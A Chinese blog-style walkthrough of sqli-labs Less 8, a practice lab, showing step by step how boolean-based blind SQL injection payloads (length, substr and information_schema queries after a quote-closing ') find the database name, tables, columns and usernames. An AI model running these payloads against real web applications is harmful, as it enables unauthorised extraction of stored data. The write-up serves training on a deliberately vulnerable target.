sqli-labs靶场 less 8

文章目录


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 ('、"、''、"")
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 8 布尔盲注

数据库名长度-》数据库库名

指定数据库中表的个数-》 表名长度-》 表名

指定表中的字段个数-》 字段长度-》 字段名

指定表中该字段有多少条记录-》 数据长度-》 数据内容

  • 题目类型: 字符型 ' 闭合

id=1和id=1/0 无变化

id=1'不显示You are in

id=1'' id=1''' id=1'''' 并且呈规律性变化

id=1'--+ 正常回显 所以是字符型注入


id=1'--+ 正常回显 所以是字符型注入

通过以上判断注入类型和闭合方式,可以看到页面只呈现真假二个页面,所以适合使用布尔盲注
先构造轮子

id=1' and 1 --+

true页面

id=1' and 0 --+

false页面
对轮子变形

id=1' and length("abcd") = 4 --+

轮子正确

替换轮子
1、判断当前数据库

(1)判断数据库名长度

id=1' and length(database()) =n --+

n表示使用数据库名的长度,对n进行爆破

可见长度为8

(2)猜数据库名

id=1' and substr(database(),1,1)='s' --+

可以看到大小写都盲注成功

数据名是 security

2、判断指定库的所有表

(1)判断当前库有多少个表

id=1' and (select count(table_name) from information_schema.tables where table_schema="security" ) = 4--+


(2)判断指定库中第n个表名最多有几个字母

开始判断第1个表名最多有几个字母

id=1' and length( (select table_name from information_schema.tables where table_schema='security' limit 0,1 ) )=6 --+

判断得到第1个表名有6个字母


(3)猜指定库中第n个表名

id=1' and substr((select table_name from information_schema.tables

where table_schema="security" limit 0,1),1,1)='e' --+

3、判断指定库指定表的字段

(1)判断指定表中有几个字段

id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+


(2)判断指定库的指定表中的第n个字段最多有几个字母

id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+

(3)猜指定表中第n个字段名

id=1' and substr((select column_name from information_schema.columns

where table_schema="security" and table_name='users' limit 0,1),1,1)='i' --+


4、爆破内容

(1)判断内容中有几行数据

id=1' and (select count(username) from users)=13 --+

(2)判断第n行记录最多有几个字母

id=1' and length((select username from users limit 0,1))=4 --+

(3)猜数据内容

id=1' and substr((select username from users limit 0,1),1,1)='D' --+

MySQL数据库,不区分大小写,Dump和DUMP都可以


相关推荐
cookqq14 分钟前
mongodb源码分析session异步接受asyncSourceMessage()客户端流变Message对象
数据库·sql·mongodb·nosql
呼拉拉呼拉25 分钟前
Redis故障转移
数据库·redis·缓存·高可用架构
什么都想学的阿超28 分钟前
【Redis系列 04】Redis高可用架构实战:主从复制与哨兵模式从零到生产
数据库·redis·架构
前端小白从0开始39 分钟前
Vue3项目实现WPS文件预览和内容回填功能
前端·javascript·vue.js·html5·wps·文档回填·文档在线预览
pp-周子晗(努力赶上课程进度版)1 小时前
【MySQL】视图、用户管理、MySQL使用C\C++连接
数据库·mysql
斯特凡今天也很帅1 小时前
clickhouse常用语句汇总——持续更新中
数据库·sql·clickhouse
難釋懷1 小时前
Vue解决开发环境 Ajax 跨域问题
前端·vue.js·ajax
特立独行的猫a2 小时前
Nuxt.js 中的路由配置详解
开发语言·前端·javascript·路由·nuxt·nuxtjs
咸虾米2 小时前
在uniCloud云对象中定义dbJQL的便捷方法
前端·javascript
梨子同志2 小时前
JavaScript Proxy 和 Reflect
前端·javascript